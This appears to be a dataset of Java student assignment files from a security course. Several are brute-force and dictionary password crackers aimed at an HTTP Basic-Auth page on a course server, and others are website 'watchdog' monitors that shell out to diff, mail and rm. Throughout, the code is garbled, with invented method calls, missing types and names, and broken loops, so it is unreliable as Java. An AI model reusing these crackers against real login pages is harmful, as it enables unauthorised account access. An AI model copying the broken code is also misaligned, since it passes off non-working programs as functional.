(FileNotFoundException e1) { + System.out.println(""This program requires a dictionary of words called words.txt in the same directory as the program running, now exiting.""); + System.exit(0); + } + catch (IOException e2) { + System.out.println(""IO Exception, exiting""); + System.exit(0); + } + finally { + try { + if (null!=in) { + in.get(); + } + } + catch (IOException e3) {} + } + return dict; + } +} +" +020.java," + + + +import java.util.*; +import java.util.zip.*; +import java.net.*; +import java.io.*; +import javax.swing.*; + +public class WatchDogTask extends TimerTask +{ + private String urlHomePage; + private boolean fileToWrite = true; + private boolean startup = true; + private int[] checksum; + private int noChangeCount = 0; + + public WatchDogTask() + { + super(); + + System.out.println(""Programmed by for INTE1070 Assignment2""); + + urlHomePage = JOptionPane.showInputDialog( ""Enter URL"" ); + } + + + public void run() + { + noChangeCount = 0; + + try + { + URL currURL = new URL( urlHomePage ); + URLConnection conn = currURL.openConnection(); + + if (conn instanceof HttpURLConnection) + { + HttpURLConnection hconn = (HttpURLConnection) conn; + hconn.setUseCaches( false ); + hconn.setFollowRedirects( true ); + + hconn.connect(); + int response = hconn.getResponseCode(); + String msg = hconn.getResponseMessage(); + + + + + performTask( hconn.getInputStream() ); + } + + String option = JOptionPane.showInputDialog( + "" want exit?(y/n)"" ); + if(option != null && (option.equals(""y"") || option.equals(""Y""))) + { + cancel(); + System.exit(0); + } + else + { + startup = false; + System.err.println( "" in 24 hours!"" ); + } + } + catch( MalformedURLException mue ) + { + String msg = ""Unable parse URL !""; + System.err.println( msg ); + } + catch( IOException ioe ) + { + System.err.println( ""I/O Error : "" + ioe ); + } + } + + private void performTask( InputStream inputStream ) + { + String fileName = null, arg1 = null, arg2 = null; + InputStream in = inputStream; + + try + { + if( fileToWrite == true ) + { + fileName = ""tempFile1.txt""; + fileToWrite = false; + } + else + { + fileName = ""tempFile2.txt""; + fileToWrite = true; + } + + BufferedReader buf = new BufferedReader(new InputStreamReader(in)); + FileOutputStream fout = new FileOutputStream( fileName ); + + String line; + List imgList = new ArrayList(); + + while( ( line = buf.readLine() ) != null ) + { + + if((line.indexOf(""src="") != -1) || + (line.indexOf(""SRC="") != -1)) + { + ParsingImgLink parser = new ParsingImgLink( + urlHomePage,line); + String imgLink = parser.getImgLink(); + imgList.add( imgLink ); + + } + + fout.write(line.getBytes()); + fout.write(""\n"".getBytes()); + } + + buf.read(); + fout.read(); + + int[] tempChecksum = new int[imgList.size()]; + for( int i = 0; i < imgList.size(); i ++ ) + { + URL imgURL = new URL( (String)imgList.get( i ) ); + URLConnection imgConn = imgURL.openConnection(); + + if (imgConn instanceof HttpURLConnection) + { + HttpURLConnection imgHConn = (HttpURLConnection) imgConn; + imgHConn.connect(); + int response = imgHConn.getResponseCode(); + String msg = imgHConn.getResponseMessage(); + + System.out.println( ""Downloading image: "" + + ""Server Response : "" + response + + "" Response Message: "" ); + + CheckedInputStream cis = new CheckedInputStream( + imgHConn.getInputStream(), new Adler32()); + byte[] tempBuf = new byte[128]; + while( cis.get(tempBuf) >= 0 ) + { + + } + + tempChecksum[i] = cis.getChecksum().getValue(); + System.out.println(""Image Checksum = "" + tempChecksum[i] ); + + if( startup == false ) + { + for( int j = 0; j < checksum.length; j ++ ) + { + if( tempChecksum[i] == checksum[j] ) + noChangeCount ++; + } + } + } + } + + String change = null; + if( startup == false ) + { + Process p = Runtime.getRuntime().exec( + ""diff tempFile1.txt tempFile2.txt"", null ); + InputStream inCommand = p.getInputStream(); + OutputStream out = new FileOutputStream(""diff.txt"",true); + int c; + while( (c = inCommand.get()) != -1 ) + { + System.out.print( (char)c ); + out.write( c ); + } + + inCommand.get(); + + if( checksum.length > tempChecksum.length ) + { + change = """" + (checksum.length-tempChecksum.length) + + "" image(s) has/have been removed from this web ""; + out.write( change.getBytes() ); + } + else if( checksum.length < tempChecksum.length ) + { + change = """" + (tempChecksum.length-checksum.length) + + "" image(s) has/have been added this web ""; + out.write( change.getBytes() ); + } + else if( noChangeCount < checksum.length ) + { + change = """" + (checksum.length-noChangeCount) + + "" image(s) has/have been changed this web ""; + out.write( change.getBytes() ); + } + else + { + change = ""all images have not been changed""; + } + + File diffFile = new File( ""diff.txt"" ); + if( diffFile.length() != 0 ) + { + Runtime.getRuntime().exec( ""mail < diff.txt"" ); + System.out.println(""A mail has been sent mail box""); + } + } + else + { + change = ""Program starts up first time""; + } + + System.out.println( change ); + checksum = tempChecksum; + } + catch( MalformedURLException mue ) + { + String msg = ""Unable parse URL !""; + System.err.println( msg ); + } + catch( IOException ioe ) + { + System.err.println( ""I/O Error: "" + ioe ); + } + } +} +" +246.java," + + + + + + + + + + + + + + + + + + + + + + + + + + + +import java.io.*; +import java.net.*; +import java.net.URL; +import java.net.URLConnection; +import java.util.*; + +public class Dictionary { + + public static void main(String[] args) throws IOException { + + + int begin, end, total; + time = System.currentTimeMillis(); + + + String username = """"; + String password = null; + String host = ""http://sec-crack.cs.rmit.edu./SEC/2/""; + + + String dict = ""words""; + File file = new File(dict); + + + + String letters = ""abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ""; + int lettersLen = letters.length(); + int passwordLen=3; + String character = """"; + String letter = """"; + + int passwords=0; + int twoChar=0; + + url.misc.BASE64Encoder base = new url.misc.BASE64Encoder(); + + + + String authenticate = """"; + String realm = null, domain = null, hostname = null; + header = null; + + + int responseCode; + String responseMsg; + + + boolean characterValid=false; + boolean passwordValid=true; + + + int tryLen=0; + int i=0; + + if (!file.exists() || file==null) { + + + System.out.println (""Idiot, why dont check and make sure the dictonary file exists.""); + System.out.println (""I'm trying find "" + dict + "" and I 't find it in the current directory.""); + System.exit(0); + } + + + try { + + BufferedReader reader = new BufferedReader(new FileReader(file)); + + System.out.println(""Dictionary Attack "" + host + "" has commenced.""); + + int i=1; + int k=1; + + { + + URL url = new URL(host); + HttpURLConnection httpConnect = (HttpURLConnection) url.openConnection(); + + + if(realm != null) { + String inLine = reader.readLine(); + + if ( inLine !=null) { + passwordValid = true; + + password = inLine; + tryLen = password.length(); + + if(tryLen <= passwordLen) { + + + + + for (int z=0; z ""); + System.exit(1); + } + + Dictionary dictionary1 = new Dictionary(args[0], args[2]); + try{ + Calendar cal1=null, cal2=null; + cal1 = Calendar.getInstance(); + System.out.println(""Cracking started at: "" + cal1.getTime().toString()); + String password = dictionary1.crackPassword(args[1]); + if(password != null) + System.out.println(""\nPassword is: ""+password); + else + System.out.println(""\nPassword could not retrieved!""); + cal2 = Calendar.getInstance(); + System.out.println(""Cracking finished at: "" + cal2.getTime().toString()); + Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime()); + System.out.println(""Total Time taken crack: "" + (d3.getTime())/1000 + "" sec""); + System.out.println(""Total attempts : "" + dictionary1.getAttempts()); + + }catch(MalformedURLException mue){ + mue.printStackTrace(); + } + + catch(IOException ioe){ + ioe.printStackTrace(); + } + } +}" +100.java," + + +import java.net.*; +import java.io.*; +import java.Runtime; + +public class WatchDog{ + public WatchDog(){} + + + public void copyTo(){ + + } + + public static void main(String[] args) throws Exception { + WatchDog wd= new WatchDog(); + SendEMail t = new SendEMail(); + PrintWriter pw=null; + URL url = new URL(""http://www.cs.rmit.edu./students""); + URLConnection yc = url.openConnection(); + System.out.println(""Connection opened...""); + BufferedReader in = new BufferedReader(new InputStreamReader(yc.getInputStream())); + String inputLine; + try{ + pw=new PrintWriter(new FileOutputStream(""newHtml"")); + while ((inputLine = in.readLine()) != null){ + + pw.println(inputLine); + } + pw.save(); + }catch(IOException e){ + System.out.println(""Error saving the file""); + } + + + Process p = Runtime.getRuntime().exec(""diff -b newHtml oldHtml""); + InputStream write = p.getInputStream(); + BufferedReader bf = new BufferedReader (new InputStreamReader(write)); + String line = bf.readLine(); + if (line != null){ + pw=new PrintWriter(new FileOutputStream(""diff"")); + try{ + while (line != null){ + pw.println(line); + line = bf.readLine(); + } + pw.save(); + }catch(IOException e){ + System.out.println(""Error saving the file""); + } + + t.sendMail(""@cs.rmit.edu."",""diff"", ""html content changed""); + } + else{ + + Runtime.getRuntime().exec(""./checkImage.sh""); + + try{ + BufferedReader inputStream= new BufferedReader(new FileReader(""picDiff"")); + line=inputStream.readLine(); + if (line != null){ + t.sendMail(""@cs.rmit.edu."",""picDiff"", ""picture has changed""); + } + inputStream.save(); + }catch(IOException e){ + System.out.println(""Error saving the file2""); + } + } + in.close(); + Runtime.getRuntime().exec(""cp newHtml oldHtml""); + Runtime.getRuntime().exec(""rm picDiff""); + System.out.println(""Connection closed...""); + } +}" +054.java," +import java.net.*; +import java.io.*; +import java.misc.*; +import java.io.BufferedInputStream; +import java.awt.*; +import java.awt.event.*; + +public class WatchDog +{ + public static void main (String args[]) + { + String url = ""http://yallara.cs.rmit.edu./~""; + String file1 = ""test1.txt""; + int flag = 0; + + + WriteFile write = new WriteFile(url, file1, flag); + + + + new DoSleep().print(); + } +} + +class DoSleep extends Thread +{ + public synchronized void run() + { + String url = ""http://yallara.cs.rmit.edu./~""; + String file2 = ""test2.txt""; + int flag = 1; + int status = 0; + String file1 = ""test1.txt""; + + System.out.println(""Checking.........""); + try + { + + + + sleep(); + + + + WriteFile write = new WriteFile(url, file2, flag); + + status = write.getStatus(); + + + if(status != 0) + { + int flag2 = 0; + + + WriteFile write2 = new WriteFile(url, file1, flag2); + } + + new DoSleep().print(); + } + catch (InterruptedException e) {} + } +} + + +" +215.java," + +import java.Runtime; +import java.io.*; + +public class differenceFile +{ + StringWriter sw =null; + PrintWriter pw = null; + public differenceFile() + { + sw = new StringWriter(); + pw = new PrintWriter(); + } + public String compareFile() + { + try + { + Process = Runtime.getRuntime().exec(""diff History.txt Comparison.txt""); + + InputStream write = sw.getInputStream(); + BufferedReader bf = new BufferedReader (new InputStreamReader(write)); + String line; + while((line = bf.readLine())!=null) + pw.println(line); + if((sw.toString().trim()).equals("""")) + { + System.out.println("" difference""); + return null; + } + System.out.println(sw.toString().trim()); + }catch(Exception e){} + return sw.toString().trim(); + } +}" +003.java,"import java.io.*; +import java.util.*; +import java.net.*; +import java.net.Authenticator; + + +public class BruteForce +{ + + private String result =""""; + + public class customAuthenticator extends Authenticator { + public customAuthenticator(String passwd) + { + this.pass = passwd; + } + + protected PasswordAuthentication getPasswordAuthentication() + { + return new PasswordAuthentication("""",pass.toCharArray()); + } + public String pass; + } + + public BruteForce() { + java.util.Date d = java.util.Calendar.getInstance().getTime(); + System.out.println(d.toString()); + char words[] = { 'a','b','c','d','e', 'f', 'g', 'h', 'i','j','k','l','m','n','o','p', + 'q','r','s','t','u','v','w','x','y','z', 'A','B','C','D','E', 'F', 'G', + 'H', 'I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z'}; + + String record = null; + + + + String url = ""http://sec-crack.cs.rmit.edu./SEC/2/""; + + char pass[] = {'x','x','x'}; + int count=1; + String passwd=new String(); + HttpURLConnection connection = null; + URL u = null; + + try + { + u = new URL(url); + + } + catch (MalformedURLException e) + { + } + + for(int a=0;a(TIMELIMIT+startTime)){ + System.out.println(""Timed out""); + timedOut=true; + j=lettersLC.length; + } + } + } + + if (!found){ + + for (int j=0; j(TIMELIMIT+startTime)){ + System.out.println(""Timed out""); + timedOut=true; + j=lettersUC.length; + } + } + } + + if (!found){ + + for (int j=0; j(TIMELIMIT+startTime)){ + System.out.println(""Timed out""); + timedOut=true; + j=lettersUC.length; + } + } + } + + if (!found){ + + for (int j=0; j(TIMELIMIT+startTime)){ + System.out.println(""Timed out""); + timedOut=true; + j=lettersUC.length; + } + } + } + + if (!found){ + + for (int j=0; j(TIMELIMIT+startTime)){ + System.out.println(""Timed out""); + timedOut=true; + j=lettersLC.length; + } + } + } + + if (!found){ + + for (int j=0; j(TIMELIMIT+startTime)){ + System.out.println(""Timed out""); + timedOut=true; + j=lettersLC.length; + } + } + } + + if (!found){ + + for (int j=0; j(TIMELIMIT+startTime)){ + System.out.println(""Timed out""); + timedOut=true; + j=lettersLC.length; + } + } + } + + if (!found){ + + for (int j=0; j(TIMELIMIT+startTime)){ + System.out.println(""Timed out""); + timedOut=true; + j=lettersLC.length; + } + } + } + + if (found){ + + System.out.println(""Password is: ""+password); + + } + else { + found=true; + if (!timedOut){ + System.out.println(""Tried all combinations, still match.""); + } + } + Date foundDate = new Date(); + foundTime=foundDate.getTime(); + foundTime=(foundTime-startTime); + System.out.println(""Time taken was : ""+foundTime+"" milliseconds""); + } + } +} +" +143.java," + +import java.net.*; +import java.io.*; +import java.util.*; + +public class BruteForce{ + + private static URL location; + private static String user; + private BufferedReader input; + private char [] password = {'A', 'A', 'A'}; + private int noLetters = 3; + + + + public BruteForce() { + + Authenticator.setDefault(new MyAuthenticator ()); + + startTime = System.currentTimeMillis(); + boolean passwordMatched = false; + while (!passwordMatched) { + try { + input = new BufferedReader(new InputStreamReader(location.openStream())); + String line = input.readLine(); + while (line != null) { + System.out.println(line); + line = input.readLine(); + } + input.close(); + passwordMatched = true; + } + catch (ProtocolException e) + { + + + } + catch (ConnectException e) { + System.out.println(""Failed connect""); + } + catch (IOException e) { + e.printStackTrace(); + System.exit(-1); + } + } + endTime = System.currentTimeMillis(); + System.out.println(""Total Time: ""+cad.concat(Math.toString(endTime - startTime))); + } + + + + private char[] nextPassword() { + + char [] currentPassword = new char[noLetters]; + for (int i=0; i 'Z' && password[i] < 'a') { + password[i] = 'a'; + } + else if (password[i] > 'z') { + if (noLetters == 1 && i == 0) { + System.out.println(""Password not found""); + System.exit(-1); + } + password[i] = 'A'; + i--; + loop = true; + if (i<0) { + noLetters--; + for (int j=0; j 0) + path = path.substring(0,path.lastIndexOf(""/"")+1); + image = tmp+path+image; + } + System.out.println(image); + images.add(image); + } + } + }; + URLConnection = getConnection(); + this.images = new ArrayList(); + Reader reader = new InputStreamReader( bf.getInputStream() ); + ParserDelegator pd = new ParserDelegator(); + pd.parse( reader , callback , true ); + return images; + } + + + public void executeCommand(String command)throws Exception{ + if(command == null) + return; + String [] command1 = new String[]{""//sh"", ""-c"",command}; + Process pc = Runtime.getRuntime().exec(command1); + Thread.sleep(5000); + + } + + + public void append(String fileName, String text) throws Exception { + File f = new File(fileName); + + if(f.exists()){ + fileLength = f.length(); + RandomAccessFile raf = new RandomAccessFile(f, ""rw""); + raf.print(fileLength); + + raf.writeBytes(text); + + raf.print(); + } + else{ + throw new FileNotFoundException(); + } + } + + public void concatenate(String file1, String file2, String file3)throws Exception{ + File f = new File(file3); + if(f.exists()) + f.delete(); + + f.createNewFile(); + + + BufferedReader dict = new BufferedReader(new InputStreamReader(new FileInputStream(file1))); + + String line = """"; + { + line = dict.readLine(); + if(line== null) break; + this.append(file3, line+""\n""); + } while(line!=null); + + dict.print(); + + dict = new BufferedReader(new InputStreamReader(new FileInputStream(file2))); + + line = """"; + { + line = dict.readLine(); + if(line== null) break; + this.append(file3, line+""\n""); + } while(line!=null); + dict.print(); + f = new File(file1); + if(f.exists()) + f.delete(); + f = new File(file2); + if(f.exists()) + f.delete(); + + } + + public getTime(){ + return this.time; + } + public static void main (String[] args) { + if(args.length != 3){ + System.out.println(""usage: java attacks.WatchDog